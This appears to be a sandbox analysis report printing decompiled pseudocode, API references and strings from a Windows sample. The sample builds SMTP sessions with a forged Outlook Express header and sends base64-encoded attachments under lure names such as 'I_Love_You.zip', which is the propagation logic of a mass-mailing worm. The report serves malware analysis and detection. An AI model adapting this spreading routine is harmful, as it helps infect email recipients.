																								if(E00406746(_t193, _t203, _t215, "\r\n\r\n--xContext--\r\n") == 0) {
																									goto L39;
																								} else {
																									L36:
																									if(E00406788(_t171, _t215, "\r\n.\r\n") == 0 || E00406788(_t172, _t215, "QUIT\r\n") == 0) {
																										goto L39;
																									} else {
																										_v1272 = _t215;
																										L004086C0();
																										_t138 = 1;
																									}
																								}
																							} else {
																								GlobalFree(_t203);
																								_t222 = _t222 - 4;
																								goto L39;
																							}
																						}
																					}
																				}
																			}
																		}
																	}
																}
															}
														}
													}
												}
											}
										}
									}
								}
							}
						}
					} else {
						_t195 = _a4;
						_v1320 = _t195;
						L004086D8();
						_t222 = _t226 - 4;
						if(_t195 == 0) {
							goto L39;
						} else {
							_v40 =  *((intOrPtr*)( *(_t195[0xc])));
							goto L4;
						}
					}
				}
				return _t138;
			}

0x0040619a
0x004061c4
0x004061c9
0x004061cf
0x004061d7
0x004061d9
0x004061de
0x004061e8
0x004061f2
0x004061fc
0x00406206
0x00406210
0x0040621a
0x00406224
0x0040623e
0x00406249
0x00406258
0x00406263
0x0040626e
0x00406279
0x0040628b
0x00406296
0x004062a8
0x004062bd
0x004062c2
0x004062ca
0x004062d2
0x004062d9
0x004062de
0x004062e1
0x004062e6
0x0040672e
0x0040672e
0x00406731
0x00406739
0x004062ec
0x004062ec
0x004062f2
0x004062f9
0x00406301
0x00406305
0x00406308
0x0040630b
0x00406310
0x00406313
0x00406319
0x0040633b
0x0040633b
0x00406343
0x00406346
0x0040634a
0x0040634d
0x00406352
0x00406358
0x00000000
0x0040635e
0x0040635e
0x00406368
0x00000000
0x0040636e
0x00406371
0x00406375
0x0040637d
0x00406383
0x00406399
0x00000000
0x0040639f
0x004063a2
0x004063c4
0x00000000
0x004063ca
0x004063cd
0x004063ef
0x00000000
0x0040640d
0x00406410
0x00406432
0x00000000
0x00406438
0x0040643b
0x0040645d
0x00000000
0x00406463
0x00406469
0x0040648b
0x00000000
0x004064a9
0x004064ac
0x004064ce
0x00000000
0x004064ec
0x004064ec
0x004064ef
0x004064f2
0x004064f7
0x004064fc
0x004066b1
0x00000000
0x004066c7
0x004066ca
0x004066ce
0x004066dc
0x004066f2
0x00000000
0x00000000
0x00000000
0x00000000
0x004066f2
0x00406502
0x00406514
0x00000000
0x00406532
0x00406536
0x00406564
0x00000000
0x00000000
0x00000000
0x00000000
0x00406538
0x0040654a
0x00000000
0x00406550
0x0040656a
0x0040657c
0x00000000
0x00406582
0x00406585
0x00406589
0x00406591
0x00406597
0x004065ad
0x00000000
0x004065cb
0x004065ce
0x004065f0
0x00000000
0x004065f6
0x004065f9
0x0040661b
0x00000000
0x00406639
0x00406639
0x00406658
0x00406668
0x0040667d
0x00406682
0x00406697
0x00000000
0x0040669d
0x004066f4
0x00406706
0x00000000
0x0040671c
0x0040671c
0x0040671f
0x00406727
0x00406727
0x00406706
0x0040666a
0x0040666d
0x00406672
0x00000000
0x00406672
0x00406668
0x0040661b
0x004065f0
0x004065ad
0x0040657c
0x0040654a
0x00406536
0x00406514
0x004064fc
0x004064ce
0x0040648b
0x0040645d
0x00406432
0x004063ef
0x004063c4
0x00406399
0x00406368
0x0040631b
0x0040631b
0x0040631e
0x00406321
0x00406326
0x0040632b
0x00000000
0x00406331
0x00406338
0x00000000
0x00406338
0x0040632b
0x00406319
0x00406745

APIs

memset.MSVCRT ref: 004061C4
GetSystemTime.KERNEL32 ref: 00406249
wsprintfA.USER32 ref: 004062BD
socket.WS2_32 ref: 004062D9
htons.WS2_32 ref: 004062F9
inet_addr.WS2_32 ref: 0040630B
gethostbyname.WS2_32 ref: 00406321
connect.WS2_32 ref: 0040634D
wsprintfA.USER32 ref: 00406386
wsprintfA.USER32 ref: 004063B1
wsprintfA.USER32 ref: 004063DC
wsprintfA.USER32 ref: 0040641F
wsprintfA.USER32 ref: 0040644A
wsprintfA.USER32 ref: 00406478
wsprintfA.USER32 ref: 004064BB
lstrlen.KERNEL32 ref: 004064F2
wsprintfA.USER32 ref: 0040659A
wsprintfA.USER32 ref: 004065DD
wsprintfA.USER32 ref: 00406608
GlobalFree.KERNEL32 ref: 0040666D
GlobalFree.KERNEL32 ref: 0040667D
wsprintfA.USER32 ref: 004066DF
closesocket.WS2_32 ref: 0040671F

Part of subcall function 00406746: lstrlen.KERNEL32 ref: 00406753
Part of subcall function 00406746: send.WS2_32 ref: 00406771

closesocket.WS2_32 ref: 00406731

Strings

Mon, xrefs: 004061E8
MIME-Version: 1.0, xrefs: 00406491
Fri, xrefs: 00406210
--xContext, xrefs: 0040651A, 004065B3
X-Mailer: Microsoft Outlook Express 6.00.2800.1106, xrefs: 004064D4
--xContext--, xrefs: 00406685
QUIT, xrefs: 00406708
TO: <%s>, xrefs: 0040643F
Subject: %s, xrefs: 004064B0
%s, xrefs: 00406589, 004066CE
Content-Transfer-Encoding: base64, xrefs: 00406621
Sun, xrefs: 00406224
---, xrefs: 004061DE
FROM: <%s>, xrefs: 00406414
&A$&A(&A,&A0&A4&A8&A<&A, xrefs: 004062A1
Date: %s, xrefs: 0040646D
Content-Disposition: attachment; filename="%s", xrefs: 004065FD
RCPT TO: <%s>, xrefs: 004063D1
Content-type: text/plain; charset=Windows-1251, xrefs: 00406538
Content-Transfer-Encoding: 8bit, xrefs: 0040656A, 004066B3
., xrefs: 004066F4
Tue, xrefs: 004061F2
MAIL FROM: <%s>, xrefs: 004063A6
Thu, xrefs: 00406206
DATA, xrefs: 004063F5
%s, %d %s %d %d:%d:%d GMT, xrefs: 004062AC
Sat, xrefs: 0040621A
Content-type: Application/Octet-stream; name="%s"; type:unknown, xrefs: 004065D2
&A, xrefs: 00406234
HELO %s, xrefs: 00406375
Wed, xrefs: 004061FC
Content-type: text/plain; charset=ISO-8859-1, xrefs: 00406552, 0040669F
Content-type: Multipart/Mixed; boundary=xContext, xrefs: 00406502

Memory Dump Source

Source File: 00000000.00000002.315600305.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.315594750.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315638800.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315650668.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315656678.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315661415.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315665943.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ydbWyoxHsd.jbxd

Similarity

API ID: wsprintf$FreeGlobalclosesocketlstrlen$SystemTimeconnectgethostbynamehtonsinet_addrmemsetsendsocket
String ID: --xContext--$%s$--xContext$.$ &A$ &A$&A(&A,&A0&A4&A8&A<&A$%s, %d %s %d %d:%d:%d GMT$---$Content-Disposition: attachment; filename="%s"$Content-Transfer-Encoding: 8bit$Content-Transfer-Encoding: base64$Content-type: Application/Octet-stream; name="%s"; type:unknown$Content-type: Multipart/Mixed; boundary=xContext$Content-type: text/plain; charset=ISO-8859-1$Content-type: text/plain; charset=Windows-1251$DATA$Date: %s$FROM: <%s>$Fri$HELO %s$MAIL FROM: <%s>$MIME-Version: 1.0$Mon$QUIT$RCPT TO: <%s>$Sat$Subject: %s$Sun$TO: <%s>$Thu$Tue$Wed$X-Mailer: Microsoft Outlook Express 6.00.2800.1106
API String ID: 1487464711-219272833
Opcode ID: 666c0d740a43bd74909cf6117d8f5958c059585b5faa14fa9939e6f1f40405de
Instruction ID: 6e52e2717ca3ea0a11f7245c2747809bb71ce8739c615a88298817d05e4ee505
Opcode Fuzzy Hash: 666c0d740a43bd74909cf6117d8f5958c059585b5faa14fa9939e6f1f40405de
Instruction Fuzzy Hash: 53E12BB44087118AD710AF25D68429EBBF4AF44748F02897EF8C9A7385D77CC9A4CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 00402288 Relevance: 79.8, APIs: 43, Strings: 10, Instructions: 346
stringsleepCOMMON

Download Yara Rule

C-Code - Quality: 48%

			E00402288(void* __eax, char _a4) {
				void* _v16;
				char _v76;
				char _v188;
				char _v300;
				char _v508;
				char _v780;
				char _v812;
				char _v1068;
				int _v1072;
				signed int _v1088;
				void* _v1128;
				char _v1132;
				void* _v1136;
				int _v1140;
				intOrPtr _v1148;
				int _v1152;
				char* _v1156;
				void* _v1160;
				char* _v1164;
				void* _v1168;
				void* _v1172;
				void* _v1180;
				void* _v1188;
				void* _v1196;
				char* _v1204;
				signed int _v1208;
				char* _v1212;
				void* _t350;
				void* _t351;
				signed int _t352;
				void* _t353;
				signed int _t354;
				int _t358;
				void* _t359;
				char _t363;
				void* _t365;
				void* _t367;
				intOrPtr* _t369;
				void** _t370;
				intOrPtr* _t374;

				_v1072 = 0;
				_t363 = _a4;
				_v1132 = _t363;
				L0040C310();
				_t367 = _t365 - 0x458;
				_t358 = 0;
				if(__eax <= 0x64) {
					_t350 =  &_v1068;
					memset(_t350, 0, 0xfa);
					_v1132 = _t363;
					_v1136 = _t350;
					L0040C320();
					_t369 = _t367 - 8;
					_v1140 = "mvcsv.qyy";
					_t351 =  &_v812;
					 *_t369 = _t351;
					E00404C38();
					_v1136 = _t351;
					_v1140 = 0x104;
					 *_t369 =  &_v780;
					E00404620();
					 *_t369 = 6;
					_t352 = E00404EAE();
					 *_t369 = 6;
					_v1088 = E00404EAE();
					while(_t352 == _v1088) {
						 *_t369 = 0xa;
						Sleep(??);
						_t369 = _t369 - 4;
						 *_t369 = 6;
						_v1088 = E00404EAE();
					}
					_v1136 = 0xc8;
					_v1140 = 0;
					 *_t369 =  &_v508;
					memset(??, ??, ??);
					_v1136 = 0x64;
					_v1140 = 0;
					 *_t369 =  &_v300;
					memset(??, ??, ??);
					_v1136 = 0x64;
					_v1140 = 0;
					 *_t369 =  &_v188;
					memset(??, ??, ??);
					_t359 =  &_v76;
					asm("cld");
					memset(_t359, 0, 0xa << 2);
					_t370 = _t369 + 0xc;
					_v1140 =  *(0x40d0c4 + _t352 * 4);
					_t353 = _t359;
					 *_t370 = _t359;
					L0040C328();
					_v1148 = 0x40ed9b;
					_v1152 = _t353;
					L0040C328();
					_v1156 =  *((intOrPtr*)(0x40d0c4 + _v1088 * 4));
					_v1160 = _t353;
					L0040C328();
					_v1164 = 0x40ed9d;
					_v1168 = _t353;
					L0040C328();
					_t374 = _t370 - 0xfffffffffffffff0;
					 *_t374 = 0x12;
					_t354 = E00404EAE();
					_v1172 = 0x40eda2;
					 *_t374 =  &_v1068;
					if(strstr(??, ??) != 0) {
						 *_t374 = 8;
						_t354 = E00404EAE() + 0x12;
					}
					if(_t354 <= 0x19) {
						switch( *((intOrPtr*)(_t354 * 4 +  &M0040EE08))) {
							case 0:
								_v1172 =  *((intOrPtr*)(0x40d0e0 + _t354 * 4));
								 *_t374 =  &_v188;
								L0040C328();
								_t375 = _t374 - 8;
								 *_t375 = 8;
								_v1180 =  *((intOrPtr*)(0x40d080 + E00404EAE() * 4));
								 *_t375 =  &_v508;
								L0040C328();
								_t376 = _t375 - 8;
								 *_t376 = 2;
								_v1188 = 0x40d148[E00404EAE()];
								 *_t376 =  &_v300;
								L0040C328();
								_t374 = _t376 - 8;
								goto L31;
							case 1:
								__eax =  *0x40d150;
								_v1172 =  *0x40d150;
								__eax =  &_v300;
								 *__esp =  &_v300;
								L0040C328();
								__esp = __esp - 8;
								__eax =  *(0x40d0e0 + __ebx * 4);
								_v1180 =  *(0x40d0e0 + __ebx * 4);
								__eax =  &_v188;
								 *__esp =  &_v188;
								L0040C328();
								__esp = __esp - 8;
								__eax = E00404EAE(8);
								_v1188 = __eax;
								__eax =  &_v508;
								 *__esp =  &_v508;
								L0040C328();
								__esp = __esp - 8;
								goto L31;
							case 2:
								__eax =  *(0x40d0e0 + __ebx * 4);
								_v1172 =  *(0x40d0e0 + __ebx * 4);
								__eax =  &_v188;
								 *__esp =  &_v188;
								L0040C328();
								__esp = __esp - 8;
								__eax = E00404EAE(8);
								_v1180 = __eax;
								__eax =  &_v508;
								 *__esp =  &_v508;
								L0040C328();
								__esp = __esp - 8;
								__eax =  *0x40d154; // 0x40eb4e
								_v1188 = __eax;
								__eax =  &_v300;
								 *__esp =  &_v300;
								L0040C328();
								__esp = __esp - 8;
								goto L31;
							case 3:
								__eax =  *(0x40d0e0 + __ebx * 4);
								_v1172 =  *(0x40d0e0 + __ebx * 4);
								__eax =  &_v188;
								 *__esp =  &_v188;
								L0040C328();
								__esp = __esp - 8;
								__eax = E00404EAE(8);
								_v1180 = __eax;
								__eax =  &_v508;
								 *__esp =  &_v508;
								L0040C328();
								__esp = __esp - 8;
								__eax =  *0x40d158; // 0x40eb5f
								_v1188 = __eax;
								__eax =  &_v300;
								 *__esp =  &_v300;
								L0040C328();
								__esp = __esp - 8;
								goto L31;
							case 4:
								__eax =  *(0x40d0e0 + __ebx * 4);
								_v1172 =  *(0x40d0e0 + __ebx * 4);
								__eax =  &_v188;
								 *__esp =  &_v188;
								L0040C328();
								__esp = __esp - 8;
								__eax = E00404EAE(8);
								_v1180 = __eax;
								__eax =  &_v508;
								 *__esp =  &_v508;
								L0040C328();
								__esp = __esp - 8;
								__eax =  *0x40d15c; // 0x40eb73
								_v1188 = __eax;
								__eax =  &_v300;
								 *__esp =  &_v300;
								L0040C328();
								__esp = __esp - 8;
								goto L31;
							case 5:
								__eax =  *(0x40d0e0 + __ebx * 4);
								_v1172 =  *(0x40d0e0 + __ebx * 4);
								__eax =  &_v188;
								 *__esp =  &_v188;
								L0040C328();
								__esp = __esp - 8;
								__eax = E00404EAE(8);
								_v1180 = __eax;
								__eax =  &_v508;
								 *__esp =  &_v508;
								L0040C328();
								__esp = __esp - 8;
								__eax =  *0x40d160; // 0x40eb86
								_v1188 = __eax;
								__eax =  &_v300;
								 *__esp =  &_v300;
								L0040C328();
								__esp = __esp - 8;
								goto L31;
							case 6:
								__eax =  *(0x40d0e0 + __ebx * 4);
								_v1172 =  *(0x40d0e0 + __ebx * 4);
								__eax =  &_v188;
								 *__esp =  &_v188;
								L0040C328();
								__esp = __esp - 8;
								__eax =  *0x40d098; // 0x40e5e0
								_v1180 = __eax;
								__eax =  &_v508;
								 *__esp =  &_v508;
								L0040C328();
								__esp = __esp - 8;
								__eax = E00404EAE(0x14);
								_v1188 = __eax;
								__ebx =  &_v300;
								 *__esp = __ebx;
								L0040C328();
								__esp = __esp - 8;
								__eax = E00404EAE(5);
								_v1196 = __eax;
								 *__esp = __ebx;
								L0040C328();
								__esp = __esp - 8;
								goto L31;
							case 7:
								__eax =  *(0x40d0e0 + __ebx * 4);
								_v1172 =  *(0x40d0e0 + __ebx * 4);
								__eax =  &_v188;
								 *__esp =  &_v188;
								L0040C328();
								__esp = __esp - 8;
								__eax =  *0x40d09c; // 0x40e618
								_v1180 = __eax;
								__eax =  &_v508;
								 *__esp =  &_v508;
								L0040C328();
								__esp = __esp - 8;
								__eax = E00404EAE(0x14);
								_v1188 = __eax;
								__ebx =  &_v300;
								 *__esp = __ebx;
								L0040C328();
								__esp = __esp - 8;
								__eax = E00404EAE(5);
								_v1196 = __eax;
								 *__esp = __ebx;
								L0040C328();
								__esp = __esp - 8;
								goto L31;
							case 8:
								__eax =  *(0x40d0e0 + __ebx * 4);
								_v1172 =  *(0x40d0e0 + __ebx * 4);
								__eax =  &_v188;
								 *__esp =  &_v188;
								L0040C328();
								__esp = __esp - 8;
								__eax =  *0x40d08c; // 0x40e558
								_v1180 = __eax;
								__eax =  &_v508;
								 *__esp =  &_v508;
								L0040C328();
								__esp = __esp - 8;
								__eax = E00404EAE(0x14);
								_v1188 = __eax;
								__ebx =  &_v300;
								 *__esp = __ebx;
								L0040C328();
								__esp = __esp - 8;
								__eax = E00404EAE(5);
								_v1196 = __eax;
								 *__esp = __ebx;
								L0040C328();
								__esp = __esp - 8;
								goto L31;
							case 9:
								__eax =  *(0x40d0e0 + __ebx * 4);
								_v1172 =  *(0x40d0e0 + __ebx * 4);
								__eax =  &_v188;
								 *__esp =  &_v188;
								L0040C328();
								__esp = __esp - 8;
								__eax =  *0x40d088; // 0x40e508
								_v1180 = __eax;
								__eax =  &_v508;
								 *__esp =  &_v508;
								L0040C328();
								__esp = __esp - 8;
								__eax = E00404EAE(0x14);
								_v1188 = __eax;
								__ebx =  &_v300;
								 *__esp = __ebx;
								L0040C328();
								__esp = __esp - 8;
								__eax = E00404EAE(5);
								_v1196 = __eax;
								 *__esp = __ebx;
								L0040C328();
								__esp = __esp - 8;
								goto L31;
							case 0xa:
								__eax =  *(0x40d0e0 + __ebx * 4);
								_v1172 =  *(0x40d0e0 + __ebx * 4);
								__eax =  &_v188;
								 *__esp =  &_v188;
								L0040C328();
								__esp = __esp - 8;
								__eax =  *0x40d0a0; // 0x40e64c
								_v1180 = __eax;
								__eax =  &_v508;
								 *__esp =  &_v508;
								L0040C328();
								__esp = __esp - 8;
								_v1188 = "admin@bigtits.com";
								__eax =  &_v300;
								 *__esp =  &_v300;
								L0040C328();
								__esp = __esp - 8;
								goto L31;
							case 0xb:
								__eax =  *(0x40d0e0 + __ebx * 4);
								_v1172 =  *(0x40d0e0 + __ebx * 4);
								__eax =  &_v188;
								 *__esp =  &_v188;
								L0040C328();
								__esp = __esp - 8;
								__eax = E00404EAE(2);
								_v1180 = __eax;
								__eax =  &_v508;
								 *__esp =  &_v508;
								L0040C328();
								__esp = __esp - 8;
								__eax = E00404EAE(0x14);
								_v1188 = __eax;
								__ebx =  &_v300;
								 *__esp = __ebx;
								L0040C328();
								__esp = __esp - 8;
								__eax = E00404EAE(5);
								_v1196 = __eax;
								 *__esp = __ebx;
								L0040C328();
								__esp = __esp - 8;
								goto L31;
							case 0xc:
								__eax =  *(0x40d0e0 + __ebx * 4);
								_v1172 =  *(0x40d0e0 + __ebx * 4);
								__eax =  &_v188;
								 *__esp =  &_v188;
								L0040C328();
								__esp = __esp - 8;
								__eax = E00404EAE(0x14);
								_v1180 = __eax;
								__ebx =  &_v300;
								 *__esp = __ebx;
								L0040C328();
								__esp = __esp - 8;
								__eax = E00404EAE(5);
								_v1188 = __eax;
								 *__esp = __ebx;
								L0040C328();
								__esp = __esp - 8;
								__eax =  *0x40d0a4; // 0x40e688
								_v1196 = __eax;
								__eax =  &_v508;
								 *__esp =  &_v508;
								L0040C328();
								__esp = __esp - 8;
								__edx =  &_v76;
								asm("cld");
								__ecx = 0xa;
								__eax = 0;
								__edi = __edx;
								__eax = memset(__edi, 0, 0xa << 2);
								__edi = __edi + __ecx;
								__ecx = 0;
								_v1204 = "I_Love_You.zip";
								_v1208 = __edx;
								L0040C328();
								__esp = __esp - 8;
								goto L31;
							case 0xd:
								__eax =  *(0x40d0e0 + __ebx * 4);
								_v1172 =  *(0x40d0e0 + __ebx * 4);
								__eax =  &_v188;
								 *__esp =  &_v188;
								L0040C328();
								__esp = __esp - 8;
								__eax = E00404EAE(0x14);
								_v1180 = __eax;
								__ebx =  &_v300;
								 *__esp = __ebx;
								L0040C328();
								__esp = __esp - 8;
								__eax = E00404EAE(5);
								_v1188 = __eax;
								 *__esp = __ebx;
								L0040C328();
								__esp = __esp - 8;
								__eax =  *0x40d0a8; // 0x40e6b2
								_v1196 = __eax;
								__eax =  &_v508;
								 *__esp =  &_v508;
								L0040C328();
								__esp = __esp - 8;
								__edx =  &_v76;
								asm("cld");
								__ecx = 0xa;
								__eax = 0;
								__edi = __edx;
								__eax = memset(__edi, 0, 0xa << 2);
								__edi = __edi + __ecx;
								__ecx = 0;
								_v1204 = "Happy_birthday_to_you.zip";
								_v1208 = __edx;
								L0040C328();
								__esp = __esp - 8;
								goto L31;
							case 0xe:
								__eax =  *(0x40d0e0 + __ebx * 4);
								_v1172 =  *(0x40d0e0 + __ebx * 4);
								__eax =  &_v188;
								 *__esp =  &_v188;
								L0040C328();
								__esp = __esp - 8;
								__eax = E00404EAE(2);
								_v1180 = __eax;
								__eax =  &_v508;
								 *__esp =  &_v508;
								L0040C328();
								__esp = __esp - 8;
								__eax = E00404EAE(0x16);
								_v1188 = __eax;
								__ebx =  &_v300;
								 *__esp = __ebx;
								L0040C328();
								__esp = __esp - 8;
								__eax = E00404EAE(4);
								_v1196 = __eax;
								 *__esp = __ebx;
								L0040C328();
								__esp = __esp - 8;
								_v1072 = 1;
								goto L31;
							case 0xf:
								__eax =  *(0x40d0e0 + __ebx * 4);
								_v1172 =  *(0x40d0e0 + __ebx * 4);
								__eax =  &_v188;
								 *__esp =  &_v188;
								L0040C328();
								__esp = __esp - 8;
								__eax =  *0x40d0b4; // 0x40e785
								_v1180 = __eax;
								__eax =  &_v508;
								 *__esp =  &_v508;
								L0040C328();
								__esp = __esp - 8;
								if(E00404EAE(2) != 0) {
									__eax = E00404EAE(0x16);
									_v1188 = __eax;
									__ebx =  &_v300;
									 *__esp = __ebx;
									L0040C328();
									__esp = __esp - 8;
									__eax = E00404EAE(4);
									_v1196 = __eax;
									 *__esp = __ebx;
									L0040C328();
									__esp = __esp - 8;
									__edx =  &_v76;
									asm("cld");
									__ecx = 0xa;
									__eax = 0;
									__edi = __edx;
									__eax = memset(__edi, 0, 0xa << 2);
									__edi = __edi + __ecx;
									__ecx = 0;
									_v1204 = 0x40ede1;
									_v1208 = __edx;
									L0040C328();
									__esp = __esp - 8;
								} else {
									__eax = E00404EAE(0x15);
									_v1188 = __eax;
									__ebx =  &_v300;
									 *__esp = __ebx;
									L0040C328();
									__esp = __esp - 8;
									__eax = E00404EAE(4);
									_v1196 = __eax;
									 *__esp = __ebx;
									L0040C328();
									__esp = __esp - 8;
									__edx =  &_v76;
									asm("cld");
									__ecx = 0xa;
									__eax = 0;
									__edi = __edx;
									__eax = memset(__edi, 0, 0xa << 2);
									__edi = __edi + __ecx;
									__ecx = 0;
									_v1204 = 0x40ede1;
									_v1208 = __edx;
									L0040C328();
									__esp = __esp - 8;
								}
								_v1212 = "mvcsvnd.qyy";
								__ebx =  &_v812;
								 *__esp = __ebx;
								__eax = E00404C38();
								_v1208 = __ebx;
								_v1212 = 0x104;
								__eax =  &_v780;
								 *__esp =  &_v780;
								__eax = E00404620();
								_v1072 = 1;
								goto L31;
							case 0x10:
								__eax =  *(0x40d0e0 + __ebx * 4);
								_v1172 =  *(0x40d0e0 + __ebx * 4);
								__eax =  &_v188;
								 *__esp =  &_v188;
								L0040C328();
								__esp = __esp - 8;
								__eax =  *0x40d0b8; // 0x40e7a0
								_v1180 = __eax;
								__eax =  &_v508;
								 *__esp =  &_v508;
								L0040C328();
								__esp = __esp - 8;
								__eax = E00404EAE(0x16);
								_v1188 = __eax;
								__ebx =  &_v300;
								 *__esp = __ebx;
								L0040C328();
								__esp = __esp - 8;
								__eax = E00404EAE(4);
								_v1196 = __eax;
								 *__esp = __ebx;
								L0040C328();
								__esp = __esp - 8;
								_v1072 = 1;
								goto L31;
							case 0x11:
								__eax =  *(0x40d0e0 + __ebx * 4);
								_v1172 =  *(0x40d0e0 + __ebx * 4);
								__eax =  &_v188;
								 *__esp =  &_v188;
								L0040C328();
								__esp = __esp - 8;
								__eax =  *0x40d0bc; // 0x40e7cc
								_v1180 = __eax;
								__eax =  &_v508;
								 *__esp =  &_v508;
								L0040C328();
								__esp = __esp - 8;
								__eax =  *0x40d148; // 0x40eb0c
								_v1188 = __eax;
								__eax =  &_v300;
								 *__esp =  &_v300;
								L0040C328();
								__esp = __esp - 8;
								_v1072 = 1;
								goto L31;
							case 0x12:
								__eax =  *(0x40d0e0 + __ebx * 4);
								_v1172 =  *(0x40d0e0 + __ebx * 4);
								__eax =  &_v188;
								 *__esp =  &_v188;
								L0040C328();
								__esp = __esp - 8;
								__eax =  *0x40d0c0; // 0x40e7f1
								_v1180 = __eax;
								__eax =  &_v508;
								 *__esp =  &_v508;
								L0040C328();
								__esp = __esp - 8;
								__eax = E00404EAE(0x16);
								_v1188 = __eax;
								__ebx =  &_v300;
								 *__esp = __ebx;
								L0040C328();
								__esp = __esp - 8;
								__eax = E00404EAE(4);
								_v1196 = __eax;
								 *__esp = __ebx;
								L0040C328();
								__esp = __esp - 8;
								__edx =  &_v76;
								asm("cld");
								__ecx = 0xa;
								__eax = 0;
								__edi = __edx;
								__eax = memset(__edi, 0, 0xa << 2);
								__edi = __edi + __ecx;
								__ecx = 0;
								_v1204 = 0x40edf7;
								_v1208 = __edx;
								L0040C328();
								__esp = __esp - 8;
								_v1072 = 1;
								L31:
								while(E00404F0A(_t354, _t360) == 0) {
									 *_t374 = 0x7530;
									Sleep(??);
									_t374 = _t374 - 4;
								}
								_v1152 = _v1072;
								_v1156 =  &_v76;
								_v1160 =  &_v780;
								_v1164 =  &_v508;
								_v1168 =  &_v188;
								_v1172 =  &_v1068;
								 *_t374 =  &_v300;
								E00405EE8();
								_t358 = 0;
								goto L33;
						}
					}
					goto L31;
				}
				L33:
				return _t358;
			}

0x00402294
0x0040229e
0x004022a1
0x004022a4
0x004022a9
0x004022ac
0x004022b4
0x004022ba
0x004022d3
0x004022d8
0x004022dc
0x004022df
0x004022e4
0x004022e7
0x004022ef
0x004022f5
0x004022f8
0x004022fd
0x00402301
0x0040230f
0x00402312
0x00402317
0x00402323
0x00402325
0x00402331
0x00402337
0x0040233f
0x00402346
0x0040234b
0x0040234e
0x0040235a
0x0040235a
0x00402368
0x00402370
0x00402378
0x0040237b
0x00402386
0x0040238e
0x00402396
0x00402399
0x004023a4
0x004023ac
0x004023b4
0x004023b7
0x004023bc
0x004023bf
0x004023cc
0x004023cc
0x004023d6
0x004023da
0x004023dc
0x004023df
0x004023e7
0x004023ef
0x004023f2
0x00402403
0x00402407
0x0040240a
0x00402412
0x0040241a
0x0040241d
0x00402422
0x00402425
0x00402431
0x00402439
0x00402441
0x0040244b
0x0040244d
0x0040245b
0x0040245b
0x00402461
0x00402467
0x00000000
0x00402475
0x0040247f
0x00402482
0x00402487
0x0040248a
0x0040249d
0x004024a7
0x004024aa
0x004024af
0x004024b2
0x004024c5
0x004024cf
0x004024d2
0x004024d7
0x00000000
0x00000000
0x004024df
0x004024e4
0x004024e8
0x004024ee
0x004024f1
0x004024f6
0x004024f9
0x00402500
0x00402504
0x0040250a
0x0040250d
0x00402512
0x0040251c
0x00402528
0x0040252c
0x00402532
0x00402535
0x0040253a
0x00000000
0x00000000
0x00402542
0x00402549
0x0040254d
0x00402553
0x00402556
0x0040255b
0x00402565
0x00402571
0x00402575
0x0040257b
0x0040257e
0x00402583
0x00402586
0x0040258b
0x0040258f
0x00402595
0x00402598
0x0040259d
0x00000000
0x00000000
0x004025a5
0x004025ac
0x004025b0
0x004025b6
0x004025b9
0x004025be
0x004025c8
0x004025d4
0x004025d8
0x004025de
0x004025e1
0x004025e6
0x004025e9
0x004025ee
0x004025f2
0x004025f8
0x004025fb
0x00402600
0x00000000
0x00000000
0x00402608
0x0040260f
0x00402613
0x00402619
0x0040261c
0x00402621
0x0040262b
0x00402637
0x0040263b
0x00402641
0x00402644
0x00402649
0x0040264c
0x00402651
0x00402655
0x0040265b
0x0040265e
0x00402663
0x00000000
0x00000000
0x0040266b
0x00402672
0x00402676
0x0040267c
0x0040267f
0x00402684
0x0040268e
0x0040269a
0x0040269e
0x004026a4
0x004026a7
0x004026ac
0x004026af
0x004026b4
0x004026b8
0x004026be
0x004026c1
0x004026c6
0x00000000
0x00000000
0x004026ce
0x004026d5
0x004026d9
0x004026df
0x004026e2
0x004026e7
0x004026ea
0x004026ef
0x004026f3
0x004026f9
0x004026fc
0x00402701
0x0040270b
0x00402717
0x0040271b
0x00402721
0x00402724
0x00402729
0x00402733
0x0040273f
0x00402743
0x00402746
0x0040274b
0x00000000
0x00000000
0x00402753
0x0040275a
0x0040275e
0x00402764
0x00402767
0x0040276c
0x0040276f
0x00402774
0x00402778
0x0040277e
0x00402781
0x00402786
0x00402790
0x0040279c
0x004027a0
0x004027a6
0x004027a9
0x004027ae
0x004027b8
0x004027c4
0x004027c8
0x004027cb
0x004027d0
0x00000000
0x00000000
0x004027d8
0x004027df
0x004027e3
0x004027e9
0x004027ec
0x004027f1
0x004027f4
0x004027f9
0x004027fd
0x00402803
0x00402806
0x0040280b
0x00402815
0x00402821
0x00402825
0x0040282b
0x0040282e
0x00402833
0x0040283d
0x00402849
0x0040284d
0x00402850
0x00402855
0x00000000
0x00000000
0x0040285d
0x00402864
0x00402868
0x0040286e
0x00402871
0x00402876
0x00402879
0x0040287e
0x00402882
0x00402888
0x0040288b
0x00402890
0x0040289a
0x004028a6
0x004028aa
0x004028b0
0x004028b3
0x004028b8
0x004028c2
0x004028ce
0x004028d2
0x004028d5
0x004028da
0x00000000
0x00000000
0x004028e2
0x004028e9
0x004028ed
0x004028f3
0x004028f6
0x004028fb
0x004028fe
0x00402903
0x00402907
0x0040290d
0x00402910
0x00402915
0x00402918
0x00402920
0x00402926
0x00402929
0x0040292e
0x00000000
0x00000000
0x00402936
0x0040293d
0x00402941
0x00402947
0x0040294a
0x0040294f
0x00402959
0x00402965
0x00402969
0x0040296f
0x00402972
0x00402977
0x00402981
0x0040298d
0x00402991
0x00402997
0x0040299a
0x0040299f
0x004029a9
0x004029b5
0x004029b9
0x004029bc
0x004029c1
0x00000000
0x00000000
0x004029c9
0x004029d0
0x004029d4
0x004029da
0x004029dd
0x004029e2
0x004029ec
0x004029f8
0x004029fc
0x00402a02
0x00402a05
0x00402a0a
0x00402a14
0x00402a20
0x00402a24
0x00402a27
0x00402a2c
0x00402a2f
0x00402a34
0x00402a38
0x00402a3e
0x00402a41
0x00402a46
0x00402a49
0x00402a4c
0x00402a4d
0x00402a52
0x00402a57
0x00402a59
0x00402a59
